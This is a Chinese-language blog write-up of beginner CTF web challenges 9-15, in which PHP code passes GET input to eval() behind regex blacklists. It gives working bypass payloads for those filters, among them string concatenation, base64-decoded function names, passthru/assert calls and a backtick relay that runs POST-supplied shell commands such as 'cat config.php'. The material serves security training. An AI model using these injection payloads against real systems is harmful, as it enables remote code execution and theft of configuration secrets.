87x00

导航

ctf萌新 web9-15

ctf萌新

web9

<?php
# flag in config.php
include("config.php");//提示要查看这个文件
if(isset($_GET['c'])){
      $c = $_GET['c'];
      if(preg_match("/system|exec|highlight/i",$c)){
              eval($c);
//一开始理解错了,最后发现是c中需要包含system|exec|highlight才可以被执行
      }else{
          die("cmd error");
      }
}else{
      highlight_file(__FILE__);
//这个函数可以展示文件中的所有信息
}
?>

传参

?c=highlight_file('config.php');

web10

 if(!preg_match("/system|exec|highlight/i",$c)){
//和上一题不同的是这次c中不能包含这几个函数
              eval($c);
      }else{
          die("cmd error");
      }

1.1重新定义几个变量,拼接出我们想要的函数即可(‘$a.$b’表示把a和b两个字符串接起来)

?c=$a=’high‘;$b=’light_file‘;$q=$a.$b;$q(‘config.php’);

1.2题目是针对GET方式的限制,所以也可以先用GET传

?c=echo `$_POST[1]`?>   //打印出post方式传入的变量1

再用POST传

1=xxx
//xxx为需要用到的指令,比如’cat confif.php'

 

web11

这题比上题多ban了一个‘cat’,用上一题的payload也能过

如果用的是system函数,代替‘cat’的可以是tac、more、less、head、tail、nl、sed、sort、uniq

也可以加单引号‘ ’ 双引号“” 反斜杠/来绕过

例如:‘ca“”t config.php’
“ca''t config.php"
‘ca/t config.php’

web12

 if(!preg_match("/system|exec|highlight|cat|\.|php|config/i",$c)){
              eval($c);

'.'被ban了,可以用编码后再解码的方法绕过

例如base64编码绕过

c=
$q =base64_decode('aGlnaGxpZ2h0X2ZpbGU=');
//highlight_file
$w=base64_decode('Y29uZmlnLnBocA==');
//config.php
$q($w);//完整函数语句

web13

比上一题多ban了";",如果想闭合语句可以改用?>,那payload就只能写成一句话

c=base64_decode(aGlnaGxpZ2h0X2ZpbGUoY29uZmlnLnBocCk')?>
//把highlight_file('config.php')进行base64编码

(但这个payload不知道为什么行不通,一开始觉得是字符串没有被当作php执行的原因,但是加了assert()还是行不通)

最后是看了其他师傅的wp,用的是passthru函数

c=passthru("ca''t `ls`")?>
c=assert(base64_decode(%27c3lzdGVtKCdjYXQgY29uZmlnLnBocCcp%27))?>

web14、15

if(!preg_match("/system|\\*|\?|\<|\>|\=|exec|highlight|cat|\(|\.|file|php|config/i",$c)){
              eval($c);
//括号被ban了,所以上面的payload行不通了

都可以用web10中提到的POST传参绕过

先用GET传入:
?c=echo `$_POST[1]`?>

POST传入:

1=cat config.php

 

posted on 2022-01-21 22:06  87x00  阅读(145)  评论(0)    收藏  举报